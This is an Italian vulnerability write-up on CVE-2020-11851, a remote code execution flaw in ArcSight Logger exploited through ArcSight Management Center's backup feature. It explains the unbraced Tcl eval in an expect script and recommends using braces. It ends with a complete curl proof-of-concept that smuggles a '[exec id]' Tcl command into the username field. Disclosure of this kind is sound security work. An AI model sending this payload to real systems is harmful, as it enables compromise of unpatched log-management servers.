
Vulnerabilità di esecuzione remota di codice su ArcSight Logger
Vulnerabilità di esecuzione di codice remoto su ArcSight Logger (tramite ArcSight Management Center)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
Contesto della vulnerabilitàArcSight Logger è una soluzione completa di gestione dei log che semplifica gli oneri di conformità e consente ai professionisti della sicurezza di effettuare indagini forensi più rapide, unificando e archiviando i log dei dati macchina provenienti dall'intera organizzazione e facilitando la ricerca rapida e la reportistica su tali dati.
ArcSight Management Center (ArcMC) è un centro di gestione della sicurezza centralizzato che gestisce grandi distribuzioni di soluzioni ArcSight come ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors e ArcSight Connector Appliance (ConApp) attraverso un'unica interfaccia.
La vulnerabilità può essere sfruttata tramite la funzionalità di backup di ArcSight Management Center (versione: 2.7.1.2065.0). Questa opzione di backup utilizza gli script “expect” di ArcSight Logger, che usano il Tool Command Language (Tcl). La vulnerabilità consente agli aggressori di eseguire comandi Tcl arbitrari. Questa vulnerabilità riguarda il prodotto Micro Focus ArcSight Logger e interessa tutte le versioni precedenti alla 7.1.1.
ConclusioneIl server che esegue il software vulnerabile può essere compromesso dagli aggressori tramite la vulnerabilità RCE e diventare una testa di ponte dalla quale un avversario potrebbe lanciare ulteriori attacchi contro i server dell'organizzazione, culminando in una grave violazione. Questa vulnerabilità può comportare perdita di dati, corruzione o divulgazione a soggetti non autorizzati, perdita di responsabilità o negazione dell'accesso.
RaccomandazioniSi consiglia di verificare le best practice di sicurezza Tcl per gli script “expect”. In pratica, usare le parentesi graffe in eval sarebbe sicuro come mostrato di seguito:
eval puts $exploit ;# vulnerable
eval "puts $exploit" ;# vulnerable
eval {puts $exploit} ;# safe
Ulteriori informazioni sono disponibili qui: https://wiki.tcl-lang.org/page/Injection+Attack
Questa sezione descrive in dettaglio i vettori di iniezione di comandi che possono essere utilizzati per rilevare la vulnerabilità in ArcSight Logger. I titoli seguenti possono essere utilizzati per riprodurre i passaggi dell'attacco.
Esplorazione dell'opzione di backup vulnerabileNella scheda di amministrazione è presente un'opzione di backup.

Come possiamo vedere, possiamo configurare un server di backup remoto utilizzando il protocollo SCP. Dopo aver cliccato sul pulsante “Salva”, ho eseguito il debug dei processi del server utilizzando lo strumento “pspy”, che può essere scaricato da qui: https://github.com/DominicBreuker/pspy/releases
Debug del server e analisi della causa principaleDopo aver salvato la configurazione di backup, ho rilevato che l'applicazione utilizza uno script bash per verificare il server SSH come mostrato di seguito (si prega di guardare il PID 95427):

Ecco il comando più dettagliato (PID 95427) per la spiegazione:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
Diamo un'occhiata al contenuto di “runexpect.sh” e “scp.expect.dir.backup1” (script expect) prima di spiegare la logica di “runexpect.sh”.
Ecco il contenuto di “runexpect.sh”:
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
Ed ecco il contenuto dello script expect chiamato “scp.expect.dir.backup1”
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
Come possiamo vedere, “runexpect.sh” imposta la variabile d'ambiente (LD_LIBRARY_PATH) e poi esegue il binario “expect” utilizzando lo script “expect” chiamato “scp.expect.dir.backup1”. Questo script “expect” riceve 4 argomenti da utilizzare nel comando “ssh”.
La vulnerabilità vera e propria inizia alla riga 5 dello script chiamato “scp.expect.dir.backup1”. Come accennato in precedenza, senza parentesi graffe, gli input forniti dall'utente possono essere molto pericolosi negli script Tcl.
Ottenere l'esecuzione del codicePoiché questa vulnerabilità di esecuzione di codice è completamente cieca, ho usato il modo più semplice per dimostrarne l'esecuzione. Ho utilizzato lo strumento “pspy” per eseguire il debug dei processi e illustrare l'esecuzione arbitraria di codice inviando la richiesta HTTP dannosa.
Ecco la logica che volevo che lo script “expect” eseguisse:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome
Spieghiamo come ottenere questo risultato. Se inserisco spazi tra le “stringhe” nel parametro “field-username” della relativa richiesta HTTP, queste verrebbero interpretate involontariamente dallo script “expect” perché esso non valida il numero di argomenti, il che significa che potrei iniettare [exec come numero di porta e id] come nome utente. Normalmente, non potrei iniettare il parametro del numero di porta della relativa richiesta HTTP a causa della validazione dell'input (dovrebbe contenere solo cifre).
Dopo aver inviato la richiesta HTTP qui sotto, ho eseguito con successo il comando e ne ho stampato l'output con lo strumento “pspy”.


Ecco la corrispondente richiesta CURL che ho utilizzato per sfruttare la vulnerabilità (si prega di modificare i token relativi alla sessione e il target):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'